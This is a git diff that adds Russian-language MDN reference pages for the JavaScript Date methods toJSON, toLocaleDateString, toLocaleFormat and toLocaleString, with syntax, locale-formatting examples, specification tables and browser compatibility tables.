+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatIE("9")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome для Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.toLocaleDateString()")}}</li>
+ <li>{{jsxref("Date.prototype.toTimeString()")}}</li>
+ <li>{{jsxref("Date.prototype.toUTCString()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/date/tojson/index.html b/files/ru/web/javascript/reference/global_objects/date/tojson/index.html
new file mode 100644
index 0000000000..75ba90a661
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/date/tojson/index.html
@@ -0,0 +1,107 @@
+---
+title: Date.prototype.toJSON()
+slug: Web/JavaScript/Reference/Global_Objects/Date/toJSON
+tags:
+  - Date
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/toJSON
+---
+<div>{{JSRef("Global_Objects", "Date")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+<p>Метод <strong><code>toJSON()</code></strong> возвращает представление объекта {{jsxref("Global_Objects/Date", "Date")}} в виде {{Glossary("JSON")}}.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+<pre class="syntaxbox"><code><var>dateObj</var>.toJSON()</code></pre>
+
+<h2 id="Description" name="Description">Описание</h2>
+<p>Экземпляры объекта {{jsxref("Global_Objects/Date", "Date")}} ссылаются на определённый момент времени. Вызов метода <code>toJSON()</code> вернёт строку, отформатированную в JSON (при помощи метода {{jsxref("Date.prototype.toISOString()", "toISOString()")}}), представляющую значение объекта {{jsxref("Global_Objects/Date", "Date")}}. Этот метод, как правило, предназначен для сериализации объектов {{jsxref("Global_Objects/Date", "Date")}} в JSON.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Using_toJSON" name="Example:_Using_toJSON">Пример: использование метода <code>toJSON()</code></h3>
+<pre class="brush:js">var jsonDate = (new Date()).toJSON();
+var backToDate = new Date(jsonDate);
+
+console.log('Сериализованный объект даты: ' + jsonDate);
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.5.44', 'Date.prototype.toJSON')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.8.5.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.prototype.tojson', 'Date.prototype.toJSON')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+<div>{{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Android</th>
+    <th>Chrome для Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+<ul>
+ <li>{{jsxref("Date.prototype.toLocaleDateString()")}}</li>
+ <li>{{jsxref("Date.prototype.toTimeString()")}}</li>
+ <li>{{jsxref("Date.prototype.toUTCString()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/date/tolocaledatestring/index.html b/files/ru/web/javascript/reference/global_objects/date/tolocaledatestring/index.html
new file mode 100644
index 0000000000..86c6dd4d0d
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/date/tolocaledatestring/index.html
@@ -0,0 +1,226 @@
+---
+title: Date.prototype.toLocaleDateString()
+slug: Web/JavaScript/Reference/Global_Objects/Date/toLocaleDateString
+tags:
+  - Date
+  - Internationalization
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/toLocaleDateString
+---
+<div>{{JSRef("Global_Objects", "Date")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p>Метод <strong><code>toLocaleDateString()</code></strong> возвращает строку с языко-зависимым представлением части с датой в этой дате. Новые аргументы <code>locales</code> и <code>options</code> позволяют приложениям определять язык, чьи соглашения по форматированию должны использоваться, а также менять поведение этого метода. В старых реализациях, игнорирующих аргументы <code>locales</code> и <code>options</code>, используемая локаль и форма возвращённой строки целиком зависит от реализации.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.toLocaleDateString([<var>locales</var> [, <var>options</var>]])</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<p>Проверьте раздел <a href="#Browser_compatibility">Совместимость с браузерами</a>, чтобы увидеть, какие браузеры поддерживают аргументы <code>locales</code> и <code>options</code>, и <a href="#Example:_Checking_for_support_for_locales_and_options_arguments">Пример: проверка поддержки аргументов <code>locales</code> и <code>options</code></a> для определения этой возможности.</p>
+
+<div>{{page('/ru/docs/Web/JavaScript/Reference/Global_Objects/DateTimeFormat', 'Parameters')}}</div>
+
+<p>Значением по умолчанию для каждой компоненты даты-времени является {{jsxref("Global_Objects/undefined", "undefined")}}, однако, если все свойства <code>weekday</code>, <code>year</code>, <code>month</code> и <code>day</code> равны {{jsxref("Global_Objects/undefined", "undefined")}}, то их значения предполагаются равными <code>"numeric"</code>.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Using_toLocaleDateString" name="Example:_Using_toLocaleDateString">Пример: использование метода <code>toLocaleDateString()</code></h3>
+
+<p>При базовом использовании без указания локали возвращается строка, отформатированная в соответствии с локалью и опциями по умолчанию.</p>
+
+<pre class="brush: js">var date = new Date(Date.UTC(2012, 11, 12, 3, 0, 0));
+
+// Вывод toLocaleDateString() без аргументов зависит от реализации,
+// локали по умолчанию и часового пояса по умолчанию
+console.log(date.toLocaleDateString());
+// → "12/11/2012", если код запущен с локалью en-US и часовым поясом America/Los_Angeles
+</pre>
+
+<h3 id="Example:_Checking_for_support_for_locales_and_options_arguments" name="Example:_Checking_for_support_for_locales_and_options_arguments">Пример: проверка поддержки аргументов <code>locales</code> и <code>options</code></h3>
+
+<p>Аргументы <code>locales</code> и <code>options</code> поддерживаются ещё не всеми браузерами. Для проверки того, поддерживает ли их уже реализация, можно затребовать несуществующую метку языка и проверить, будет ли выброшено исключение {{jsxref("Global_Objects/RangeError", "RangeError")}}:</p>
+
+<pre class="brush: js">function toLocaleDateStringSupportsLocales() {
+  try {
+    new Date().toLocaleDateString('i');
+  } catch (e) {
+    return e​.name === 'RangeError';
+  }
+  return false;
+}
+</pre>
+
+<h3 id="Example:_Using_locales" name="Example:_Using_locales">Пример: использование аргумента <code>locales</code></h3>
+
+<p>Этот пример показывает некоторые локализованные форматы даты. Для получения формата языка, используемого в пользовательском интерфейсе вашего приложения, убедитесь, что вы указали этот язык (и, возможно, несколько запасных языков) через аргумент <code>locales</code>:</p>
+
+<pre class="brush: js">var date = new Date(Date.UTC(2012, 11, 20, 3, 0, 0));
+
+// Форматирование ниже предполагает, что местный часовой пояс равен
+// America/Los_Angeles для локали США
+
+// В америкаском английском используется порядок месяц-день-год
+console.log(date.toLocaleDateString('en-US'));
+// → "12/19/2012"
+
+// В британском английском используется порядок день-месяц-год
+console.log(date.toLocaleDateString('en-GB'));
+// → "20/12/2012"
+
+// В корейском используется порядок год-месяц-день
+console.log(date.toLocaleDateString('ko-KR'));
+// → "2012. 12. 20."
+
+// В большинстве арабоговорящих стран используют настоящие арабские цифры
+console.log(date.toLocaleDateString('ar-EG'));
+// → "<span dir="rtl">٢٠‏/١٢‏/٢٠١٢</span>"
+
+// В Японии приложения могут захотеть использовать японский календарь,
+// в котором 2012 год являеся 24-м годом эры Хейсей
+console.log(date.toLocaleDateString('ja-JP-u-ca-japanese'));
+// → "24/12/20"
+
+// Если запрашиваемый язык может не поддерживаться, например
+// балийский, откатываемся на запасной язык, в данном случае индонезийский
+console.log(date.toLocaleDateString(['ban', 'id']));
+// → "20/12/2012"
+</pre>
+
+<h3 id="Example:_Using_options" name="Example:_Using_options">Пример: использование аргумента <code>options</code></h3>
+
+<p>Результат, предоставляемый методом <code>toLocaleDateString()</code>, может быть настроен с помощью аргумента <code>options</code>:</p>
+
+<pre class="brush: js">var date = new Date(Date.UTC(2012, 11, 20, 3, 0, 0));
+
+// Запрашиваем день недели вместе с длинным форматом даты
+var options = { weekday: 'long', year: 'numeric', month: 'long', day: 'numeric' };
+console.log(date.toLocaleDateString('de-DE', options));
+// → "Donnerstag, 20. Dezember 2012"
+
+// Приложение может захотеть использовать UTC и показать это
+options.timeZone = 'UTC';
+options.timeZoneName = 'short';
+console.log(date.toLocaleDateString('en-US', options));
+// → "Thursday, December 20, 2012, GMT"
+</pre>
+
+<h2 id="Performance" name="Performance">Производительность</h2>
+
+<p>При форматировании большого количества дат лучшим вариантом будет создание объекта {{jsxref("Global_Objects/DateTimeFormat", "Intl.DateTimeFormat")}} и использование функции, предоставляемой его свойством {{jsxref("DateTimeFormat.prototype.format", "format")}}.</p>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 3-е издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', 'sec-15.9.5.6', 'Date.prototype.toLocaleDateString')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.prototype.tolocaledatestring', 'Date.prototype.toLocaleDateString')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES Int 1.0', '#sec-13.3.2', 'Date.prototype.toLocaleDateString')}}</td>
+   <td>{{Spec2('ES Int 1.0')}}</td>
+   <td>Определяет аргументы <code>locales</code> и <code>options</code>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Аргументы <code>locales</code> и <code>options</code></td>
+   <td>{{CompatChrome("24")}} + поддержка временных зон, отличных от UTC</td>
+   <td>{{CompatGeckoDesktop("29")}}</td>
+   <td>{{CompatIE("11")}}</td>
+   <td>{{CompatOpera("15")}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome для Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Аргументы <code>locales</code> и <code>options</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome("26")}}</td>
+   <td>{{CompatNo}}<br>
+    {{bug(864843)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Global_Objects/DateTimeFormat", "Intl.DateTimeFormat")}}</li>
+ <li>{{jsxref("Date.prototype.toLocaleString()")}}</li>
+ <li>{{jsxref("Date.prototype.toLocaleTimeString()")}}</li>
+ <li>{{jsxref("Date.prototype.toString()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/date/tolocaleformat/index.html b/files/ru/web/javascript/reference/global_objects/date/tolocaleformat/index.html
new file mode 100644
index 0000000000..af33b9da2f
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/date/tolocaleformat/index.html
@@ -0,0 +1,73 @@
+---
+title: Date.prototype.toLocaleFormat()
+slug: Web/JavaScript/Reference/Global_Objects/Date/toLocaleFormat
+tags:
+  - Date
+  - JavaScript
+  - Method
+  - Non-standard
+  - Prototype
+  - Reference
+translation_of: Archive/Web/JavaScript/Date.toLocaleFormat
+---
+<div>{{JSRef}} {{non-standard_header}}</div>
+
+<p>Нестандартный метод <strong><code>toLocaleFormat()</code></strong> преобразует дату в строку, используя указанное форматирование. Объект {{jsxref("Global_Objects/DateTimeFormat", "Intl.DateTimeFormat")}} является совместимой со стандартами альтернативой при форматировании дат. Так же смотрите новую версию метода {{jsxref("Date.prototype.toLocaleDateString()")}}.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.toLocaleFormat(<var>formatString</var>)</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>formatString</code></dt>
+ <dd>Строка формата в той же форме, что ожидается функцией C <a class="external" href="http://www.opengroup.org/onlinepubs/007908799/xsh/strftime.html"><code>strftime()</code></a>.</dd>
+</dl>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>Метод <code>toLocaleFormat()</code> обеспечивает больший контроль программного обеспечения над форматированием генерируемых даты и/или времени. Названия месяцев и дней недели локализуются с помощью локали операционной системы. Однако, порядок дней и месяцев и другие задачи локализации автоматически не обрабатываются, так как эти аспекты контролируете вы. Вы должны позаботиться о том, что строка формата была правильно локализована в соответствии с настройками системы пользователя. Знайте, что используемая локаль не обязательно совпадает с локалью браузера.</p>
+
+<p>Разработчики расширений и XULRunner должны знать, что загрузку строки формата их файлов <code>.dtd</code> или <code>.properties</code> через URI <code>chrome://<em>somedomain</em>/locale/<em>somefile.ext</em></code> нужно <strong>избегать</strong>, поскольку файлы <code>.dtd</code>/<code>.properties</code> и метод <code>toLocaleFormat()</code> не обязательно используют одну и ту же локаль, из-за чего результат может выглядеть странно, неоднозначно или даже нечитаемо.</p>
+
+<p>Также обратите внимание, что поведение локали зависит от платформы и пользователь может настроить эту локаль, так что использование системной локали для выбора строки формата в некоторых случаях может быть даже неадекватным. Вы можете рассмотреть возможность использования более общих методов <code>toLocale*</code> объекта {{jsxref("Global_Objects/Date", "Date")}}, либо написать свою собственную локализацию даты, используя для её отображения методы <code>get*</code> объекта {{jsxref("Global_Objects/Date", "Date")}}.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example_Using_toLocaleFormat" name="Example:_Using_toLocaleFormat">Пример: использование метода <code>toLocaleFormat()</code></h3>
+
+<pre class="brush: js">var today = new Date();
+var date = today.toLocaleFormat('%A, %B %e, %Y'); // плохой пример
+</pre>
+
+<p>В примере выше метод <code>toLocaleFormat()</code> возвращает строку вида "Wednesday, October 3, 2007". обратите внимание, что строка формата в данном примере не локализуется должным образом, что приводит к проблемам, описанным выше.</p>
+
+<h2 id="Specifications" name="Specifications">Библиотеки</h2>
+
+<p>Вы можете использовать библиотеку <a href="https://github.com/abritinthebay/datejs/wiki/Format-Specifiers">DateJS</a>, если {{jsxref("Date.prototype.toLocaleDateString","Date.prototype.toLocaleDateString()")}} недоступен:</p>
+
+<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">if</span> <span class="punctuation token">(</span><span class="operator token">!</span><span class="class-name token">Date</span><span class="punctuation token">.</span>prototype<span class="punctuation token">.</span>toLocaleFormat<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    <span class="punctuation token">(</span><span class="keyword token">function</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+        <span class="class-name token">Date</span><span class="punctuation token">.</span>prototype<span class="punctuation token">.</span><span class="function function-variable token">toLocaleFormat</span> <span class="operator token">=</span> <span class="keyword token">function</span><span class="punctuation token">(</span><span class="parameter token">formatString</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+            <span class="keyword token">return</span> <span class="keyword token">this</span><span class="punctuation token">.</span><span class="function token">format</span><span class="punctuation token">(</span>formatString<span class="punctuation token">)</span><span class="punctuation token">;</span>
+        <span class="punctuation token">}</span><span class="punctuation token">;</span>
+    <span class="punctuation token">}</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span></code></pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<p>Не является частью какой-либо спецификации. Реализована в JavaScript 1.6.</p>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div>{{Compat("javascript.builtins.Date.toLocaleFormat")}}</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Global_Objects/DateTimeFormat", "Intl.DateTimeFormat")}}</li>
+ <li>{{jsxref("Date.prototype.toLocaleString()")}}</li>
+ <li>{{jsxref("Date.prototype.toLocaleDateString()")}}</li>
+ <li>{{jsxref("Date.prototype.toLocaleTimeString()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/date/tolocalestring/index.html b/files/ru/web/javascript/reference/global_objects/date/tolocalestring/index.html
new file mode 100644
index 0000000000..aff9e18a0a
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/date/tolocalestring/index.html
@@ -0,0 +1,233 @@
+---
+title: Date.prototype.toLocaleString()
+slug: Web/JavaScript/Reference/Global_Objects/Date/toLocaleString
+tags:
+  - Date
+  - Internationalization
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/toLocaleString
+---
+<div>{{JSRef("Global_Objects", "Date")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p>Метод <strong><code>toLocaleString()</code></strong> возвращает строку с языко-зависимым представлением даты. Новые аргументы <code>locales</code> и <code>options</code> позволяют приложениям определять язык, чьи соглашения по форматированию должны использоваться, а также менять поведение этого метода. В старых реализациях, игнорирующих аргументы <code>locales</code> и <code>options</code>, используемая локаль и форма возвращённой строки целиком зависит от реализации.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.toLocaleString([<var>locales</var>[, <var>options</var>]])</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<p>Проверьте раздел <a href="#Browser_compatibility">Совместимость с браузерами</a>, чтобы увидеть, какие браузеры поддерживают аргументы <code>locales</code> и <code>options</code>, и <a href="#Example:_Checking_for_support_for_locales_and_options_arguments">Пример: проверка поддержки аргументов <code>locales</code> и <code>options</code></a> для определения этой возможности.</p>
+
+<div>{{page('/ru/docs/Web/JavaScript/Reference/Global_Objects/DateTimeFormat', 'Parameters')}}</div>
+
+<p>Значением по умолчанию для каждой компоненты даты-времени является {{jsxref("Global_Objects/undefined", "undefined")}}, однако, если все свойства <code>weekday</code>, <code>year</code>, <code>month</code>, <code>day</code>, <code>hour</code>, <code>minute</code> и <code>second</code> равны {{jsxref("Global_Objects/undefined", "undefined")}}, то их значения предполагаются равными <code>"numeric"</code>.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Using_toLocaleString" name="Example:_Using_toLocaleString">Пример: использование метода <code>toLocaleString()</code></h3>
+
+<p>При базовом использовании без указания локали возвращается строка, отформатированная в соответствии с локалью и опциями по умолчанию.</p>
+
+<pre class="brush: js">var date = new Date(Date.UTC(2012, 11, 12, 3, 0, 0));
+
+// Вывод toLocaleString() без аргументов зависит от реализации,
+// локали по умолчанию и часового пояса по умолчанию
+console.log(date.toLocaleString());
+// → "12/11/2012, 7:00:00 PM", если код запущен с локалью en-US и часовым поясом America/Los_Angeles
+</pre>
+
+<h3 id="Example:_Checking_for_support_for_locales_and_options_arguments" name="Example:_Checking_for_support_for_locales_and_options_arguments">Пример: проверка поддержки аргументов <code>locales</code> и <code>options</code></h3>
+
+<p>Аргументы <code>locales</code> и <code>options</code> поддерживаются ещё не всеми браузерами. Для проверки того, поддерживает ли их уже реализация, можно затребовать несуществующую метку языка и проверить, будет ли выброшено исключение {{jsxref("Global_Objects/RangeError", "RangeError")}}:</p>
+
+<pre class="brush: js">function toLocaleStringSupportsLocales() {
+  try {
+    new Date().toLocaleString('i');
+  } catch (e) {
+    return e​.name === 'RangeError';
+  }
+  return false;
+}
+</pre>
+
+<h3 id="Example:_Using_locales" name="Example:_Using_locales">Пример: использование аргумента <code>locales</code></h3>
+
+<p>Этот пример показывает некоторые локализованные форматы даты и времени. Для получения формата языка, используемого в пользовательском интерфейсе вашего приложения, убедитесь, что вы указали этот язык (и, возможно, несколько запасных языков) через аргумент <code>locales</code>:</p>
+
+<pre class="brush: js">var date = new Date(Date.UTC(2012, 11, 20, 3, 0, 0));
+
+// Форматирование ниже предполагает, что местный часовой пояс равен
+// America/Los_Angeles для локали США
+
+// В американском английском используется порядок месяц-день-год
+// и 12-часовой формат времени
+console.log(date.toLocaleString('en-US'));
+// → "12/19/2012, 7:00:00 PM"
+
+// В британском английском используется порядок день-месяц-год
+// и 24-часовой формат времени
+console.log(date.toLocaleString('en-GB'));
+// → "20/12/2012 03:00:00"
+
+// В корейском используется порядок год-месяц-день
+// и 12-часовой формат времени
+console.log(date.toLocaleString('ko-KR'));
+// → "2012. 12. 20. 오후 12:00:00"
+
+// В большинстве арабоговорящих стран используют настоящие арабские цифры
+console.log(date.toLocaleString('ar-EG'));
+// → "<span dir="rtl">٢٠‏/١٢‏/٢٠١٢ ٥:٠٠:٠٠ ص</span>"
+
+// В Японии приложения могут захотеть использовать японский календарь,
+// в котором 2012 год являеся 24-м годом эры Хейсей
+console.log(date.toLocaleString('ja-JP-u-ca-japanese'));
+// → "24/12/20 12:00:00"
+
+// Если запрашиваемый язык может не поддерживаться, например
+// балийский, откатываемся на запасной язык, в данном случае индонезийский
+console.log(date.toLocaleString(['ban', 'id']));
+// → "20/12/2012 11.00.00"
+</pre>
+
+<h3 id="Example:_Using_options" name="Example:_Using_options">Пример: использование аргумента <code>options</code></h3>
+
+<p>Результат, предоставляемый методом <code>toLocaleString()</code>, может быть настроен с помощью аргумента <code>options</code>:</p>
+
+<pre class="brush: js">var date = new Date(Date.UTC(2012, 11, 20, 3, 0, 0));
+
+// Запрашиваем день недели вместе с длинным форматом даты
+var options = { weekday: 'long', year: 'numeric', month: 'long', day: 'numeric' };
+console.log(date.toLocaleString('de-DE', options));
+// → "Donnerstag, 20. Dezember 2012"
+
+// Приложение может захотеть использовать UTC и показать это
+options.timeZone = 'UTC';
+options.timeZoneName = 'short';
+console.log(date.toLocaleString('en-US', options));
+// → "Thursday, December 20, 2012, GMT"
+
+// Иногда даже в США нужен 24-х часовой формат времени
+console.log(date.toLocaleString('en-US', { hour12: false }));
+// → "12/19/2012, 19:00:00"
+</pre>
+
+<h2 id="Performance" name="Performance">Производительность</h2>
+
+<p>При форматировании большого количества дат лучшим вариантом будет создание объекта {{jsxref("Global_Objects/DateTimeFormat", "Intl.DateTimeFormat")}} и использование функции, предоставляемой его свойством {{jsxref("DateTimeFormat.prototype.format", "format")}}.</p>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1-е издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', 'sec-15.9.5.5', 'Date.prototype.toLocaleString')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.prototype.tolocalestring', 'Date.prototype.toLocaleString')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES Int 1.0', '#sec-13.3.1', 'Date.prototype.toLocaleDateString')}}</td>
+   <td>{{Spec2('ES Int 1.0')}}</td>
+   <td>Определяет аргументы <code>locales</code> и <code>options</code>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Аргументы <code>locales</code> и <code>options</code></td>
+   <td>{{CompatChrome("24")}}</td>
+   <td>{{CompatGeckoDesktop("29")}}</td>
+   <td>{{CompatIE("11")}}</td>
+   <td>{{CompatOpera("15")}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome для Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Аргументы <code>locales</code> и <code>options</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome("26")}}</td>
+   <td>{{CompatNo}}<br>
+    {{bug(864843)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Global_Objects/DateTimeFormat", "Intl.DateTimeFormat")}}</li>
+ <li>{{jsxref("Date.prototype.toLocaleDateString()")}}</li>
+ <li>{{jsxref("Date.prototype.toLocaleTimeString()")}}</li>
+ <li>{{jsxref("Date.prototype.toString()")}}</li>
+</ul>
